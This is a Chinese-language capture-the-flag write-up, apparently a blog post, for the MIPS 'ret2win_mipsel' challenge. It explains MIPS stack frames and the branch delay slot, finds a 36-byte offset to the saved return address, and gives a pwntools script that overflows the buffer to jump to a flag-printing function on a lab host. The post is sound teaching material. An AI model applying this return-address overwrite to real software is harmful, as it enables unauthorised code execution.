OneShell

I fight for a brighter tomorrow

0%

ret2win_mipsel

开始做第一个题目:ret2win。

MIPS指令基本分析

首先简单对MIPS程序的指令进行分析。

函数初始化过程:

  • 首先是开辟栈帧,通过给sp寄存器加上一个负数的方式,来开辟栈帧空间。
  • 保存ra寄存器到栈上,即将函数执行完毕后的返回地址到本函数的栈上,因为本函数如果调用了子函数,ra寄存器会被使用。
  • 保存fp寄存器到栈上,fp中保存了上一个函数的栈顶,也就是上一个函数的sp。
  • 将当前的栈顶sp保存到fp中,现在不是很能说清楚这个操作的含义,可能是用来在调用子函数的时候,恢复本函数的栈顶
  • 读取GOT上的偏移到gp中,然后将gp的值保存到栈上。
    1
    2
    3
    4
    5
    6
    .text:00400830 addiu   $sp, -0x20       # 开辟栈帧
    .text:00400834 sw $ra, 0x18+var_s4($sp) # 保存函数返回地址到栈上
    .text:00400838 sw $fp, 0x18+var_s0($sp) # 保存栈帧寄存器到栈上
    .text:0040083C move $fp, $sp
    .text:00400840 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0)
    .text:00400848 sw $gp, 0x18+var_8($sp) # 将gp也保存到了栈上
    对于ra寄存器,是用来保存返回地址的(return address),在MIPS的缓冲区溢出中,需要通过溢出修改掉在函数初始化时保存在栈上的ra寄存器值。等函数执行完毕之后,就从栈上恢复值到ra寄存器,并跳转执行。意思就是,MIPS架构中劫持ra寄存器是劫持控制流的关键。

函数的退出过程:

  • 从栈上恢复先前保存的gp
  • 给v0寄存器赋值0,v0和v1寄存器一般用来保存函数的返回值
  • 将fp赋值给sp,但是在本函数中没有操作sp和fp,因此,sp=sp没有发生变化
  • 从栈上恢复ra和fp,也就是恢复函数返回地址、上一个函数的fp
  • 恢复栈帧,实现堆栈平衡
  • 跳转到ra,也就是函数返回地址,随后的一个nop指令是指令延迟槽,会被执行
    1
    2
    3
    4
    5
    6
    7
    8
    .text:004008D4 lw      $gp, 0x18+var_8($fp)
    .text:004008D8 move $v0, $zero
    .text:004008DC move $sp, $fp
    .text:004008E0 lw $ra, 0x18+var_s4($sp)
    .text:004008E4 lw $fp, 0x18+var_s0($sp)
    .text:004008E8 addiu $sp, 0x20
    .text:004008EC jr $ra
    .text:004008F0 nop

一个函数跳转的实现:

  • MIPS架构中,小于等于4个参数使用寄存器a0~a3进行参数传递
  • 在调用setvbuf时,先将函数地址赋值给v0,然后再赋值给t9,最后jalr跳转到函数执行
  • jalr跳转指令下还有一个nop指令,这个指令是MIPS的分支延迟槽,分支延迟槽和MIPS的流水线相关,此处不展开细说,大概就是分支(b指令)和跳转(j指令)后的一条指令会随着分支和跳转指令执行完毕后自动执行。分支延迟槽也通常被用于设置一个函数传参,例如就可以把li $a2, 2这条指令放到分支延迟槽中。
    1
    2
    3
    4
    5
    6
    7
    8
    .text:00400854 move    $a3, $zero       # n
    .text:00400858 li $a2, 2 # modes
    .text:0040085C move $a1, $zero # buf
    .text:00400860 move $a0, $v0 # stream
    .text:00400864 la $v0, setvbuf
    .text:00400868 move $t9, $v0
    .text:0040086C jalr $t9 ; setvbuf
    .text:00400870 nop

缓冲区溢出

1
2
3
4
5
6
7
8
9
10
11
12
int pwnme()
{
char v1[32]; // [sp+18h] [+18h] BYREF

memset(v1, 0, sizeof(v1));
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, v1, 0x38u);
return puts("Thank you!");
}

缓冲区起始地址sp+18h,ra保存在sp+3ch,因此,填充24h=36字节,随后的4个字节数据便可以覆盖掉函数返回地址。

1
.text:004008F8 sw      $ra, 0x38+var_s4($sp)

构造字符串如下,便可以覆盖掉返回地址为:dead

1
2
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaadead
*PC 0x64616564 ('dead')

通过搜索字符串,可以看到有一个函数ret2win提供了输入flag的命令,那么ROP跳转过去即可

1
2
3
4
5
int ret2win()
{
puts("Well done! Here's your flag:");
return system("/bin/cat flag.txt");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

BINARY = "./ret2win_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

p = remote("10.0.0.2", 9999)

rop = b"A" * 36
rop += p32(ELF.symbols["ret2win"])
with open("raw", "wb") as f:
f.write(rop)
p.recv()
p.sendline(rop)
for each in p.recvlines(10):
if re.findall("ROPE", str(each)):
flag = each
break
print(flag)